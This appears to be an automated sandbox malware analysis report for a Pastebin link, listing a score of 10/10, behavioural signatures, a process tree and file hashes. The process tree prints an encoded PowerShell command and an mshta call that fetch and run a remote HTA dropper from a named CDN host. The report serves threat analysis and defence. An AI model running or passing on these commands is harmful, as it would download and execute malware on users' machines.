Analysis

  • max time kernel
    32s
  • max time network
    34s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/08/2024, 01:28

General

  • Target

    https://pastebin.com/raw/XpGDYStK

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://apzzz-20c7e.kxcdn.com/apzzz-20c7e

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 63 IoCs
  • Suspicious use of FindShellTrayWindow 26 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://pastebin.com/raw/XpGDYStK
    1⤵
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:940
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffcb34bcc40,0x7ffcb34bcc4c,0x7ffcb34bcc58
      2⤵
        PID:3428
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1876,i,4523782699086065872,14280386762263212904,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=1868 /prefetch:2
        2⤵
          PID:384
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1756,i,4523782699086065872,14280386762263212904,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=1912 /prefetch:3
          2⤵
            PID:4908
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2068,i,4523782699086065872,14280386762263212904,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=2428 /prefetch:8
            2⤵
              PID:4148
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3128,i,4523782699086065872,14280386762263212904,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=3140 /prefetch:1
              2⤵
                PID:1584
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3144,i,4523782699086065872,14280386762263212904,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=3180 /prefetch:1
                2⤵
                  PID:5116
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4500,i,4523782699086065872,14280386762263212904,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4524 /prefetch:1
                  2⤵
                    PID:2176
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=3156,i,4523782699086065872,14280386762263212904,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4716 /prefetch:1
                    2⤵
                      PID:1156
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=3896,i,4523782699086065872,14280386762263212904,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=3292 /prefetch:1
                      2⤵
                        PID:1800
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5076,i,4523782699086065872,14280386762263212904,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4920 /prefetch:8
                        2⤵
                          PID:2296
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=3820,i,4523782699086065872,14280386762263212904,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4952 /prefetch:1
                          2⤵
                            PID:8
                        • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                          "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                          1⤵
                            PID:1072
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                            1⤵
                              PID:4160
                            • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
                              "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -eC bQBzAGgAdABhACAAaAB0AHQAcABzADoALwAvAGEAcAB6AHoAegAtADIAMABjADcAZQAuAGsAeABjAGQAbgAuAGMAbwBtAC8AYQBwAHoAegB6AC0AMgAwAGMANwBlAA==
                              1⤵
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2224
                              • C:\Windows\system32\mshta.exe
                                "C:\Windows\system32\mshta.exe" https://apzzz-20c7e.kxcdn.com/apzzz-20c7e
                                2⤵
                                • Blocklisted process makes network request
                                PID:2704

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

                              Filesize

                              649B

                              MD5

                              57708c859644480baefb5013a9d2daa0

                              SHA1

                              cb299c8ada673559899b1a461bd88893f2c6d38e

                              SHA256

                              5d0060dc491e13aea0c0089010ede54c416f01901e5b96ba6fe444e3faa56563

                              SHA512

                              80e168164f8733cd4689c1f0e6b27038a5dfd03cad4fccebb84293ce434b59f221686ba2a7667eff7652da9b74519db29e23e37258c4785c653f4dc06cd9b278

                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

                              Filesize

                              168B

                              MD5

                              c3001bd57b4f5ffb6569494733e8c8c8

                              SHA1

                              743dac01d732757b4636f38fe414c1ea522ccfa4

                              SHA256

                              dbbbbd207fb747714316942482d12d452248360c744fb6662a657aa50d9a2c95

                              SHA512

                              3cb4e27ebff01a01c0a2ac740277c50a55e23f4ea16a14e6d7d7d4b412b57d6008cdabc9a4cf3338c1781ce89d5649075b7909038609a0ecf7f5da51a43eb985

                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

                              Filesize

                              1KB

                              MD5

                              93ef23153fd382c292e51a9b24dffdfa

                              SHA1

                              e46682977049d65bad0e824ddadb168fc1b53c22

                              SHA256

                              75e6b2ea660f3750d1ee2c01234d557b8b03a1d8f3c3df559415aba330bf8fe8

                              SHA512

                              1e1a68d1e5384033ad5ed89f970bcf5102ac5b473a7aa5c3e982273561504c3fd7c334b7e637f80e73cfc21e10f0c5a5f41856fd5702e8d40449f58b0da3340f

                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

                              Filesize

                              2B

                              MD5

                              d751713988987e9331980363e24189ce

                              SHA1

                              97d170e1550eee4afc0af065b78cda302a97674c

                              SHA256

                              4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                              SHA512

                              b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                              Filesize

                              9KB

                              MD5

                              cf8db433ceaf3b194aa02dd7b96edd84

                              SHA1

                              845f29615545124dd9f636ace72b71aa376153d8

                              SHA256

                              20c5ef88d01d140b9df5e3bbccf8f47eae144674a65cc05651aca2daaaf70683

                              SHA512

                              e66982ce87818cc48dfad5d1d5e6d1af54c2837085cc06698255adfcabfd226f7a23864e2c7407ce85453e66143677c6120098f5d9645208a658a290ebb76049

                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                              Filesize

                              9KB

                              MD5

                              08bc4c2fc7137a3d97463ee3ff9497e0

                              SHA1

                              dcc9b6e061fea1a26264fbc161c224da705e6a1e

                              SHA256

                              0dac4f380297359159c5b9ac2675b0f883ad8ca074cbb66123680401f8257533

                              SHA512

                              f387a38991494840754f59d33d80ac44556604804e88f9a497e4195e74b99c6f477f53051fd4e5e166fd9e709f6bc95bfb7d1c998b89e28f83c375179577beb6

                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                              Filesize

                              99KB

                              MD5

                              937cf45b203b691a3e34d71b3d1eccd1

                              SHA1

                              58423f3c69bca34cae4e489463080a12665b5fe4

                              SHA256

                              cf6a907b15a7bb95824f410096cc0740976667882099a82de0e7b5c34b2b0386

                              SHA512

                              90565edc1ec093d6691c7fca430cfeca8bee4f09cf3b15c375d0f2945f66183c4bd69580b0babc8e81cc2f02df96002297f5eeb42475bc67c0553b785f1cf80a

                            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_di0qa53k.cea.ps1

                              Filesize

                              60B

                              MD5

                              d17fe0a3f47be24a6453e9ef58c94641

                              SHA1

                              6ab83620379fc69f80c0242105ddffd7d98d5d9d

                              SHA256

                              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                              SHA512

                              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                            • memory/2224-73-0x00007FFC9CC13000-0x00007FFC9CC15000-memory.dmp

                              Filesize

                              8KB

                            • memory/2224-85-0x00007FFC9CC10000-0x00007FFC9D6D1000-memory.dmp

                              Filesize

                              10.8MB

                            • memory/2224-88-0x00007FFC9CC10000-0x00007FFC9D6D1000-memory.dmp

                              Filesize

                              10.8MB

                            • memory/2224-84-0x00007FFC9CC10000-0x00007FFC9D6D1000-memory.dmp

                              Filesize

                              10.8MB

                            • memory/2224-83-0x000001F233FF0000-0x000001F234012000-memory.dmp

                              Filesize

                              136KB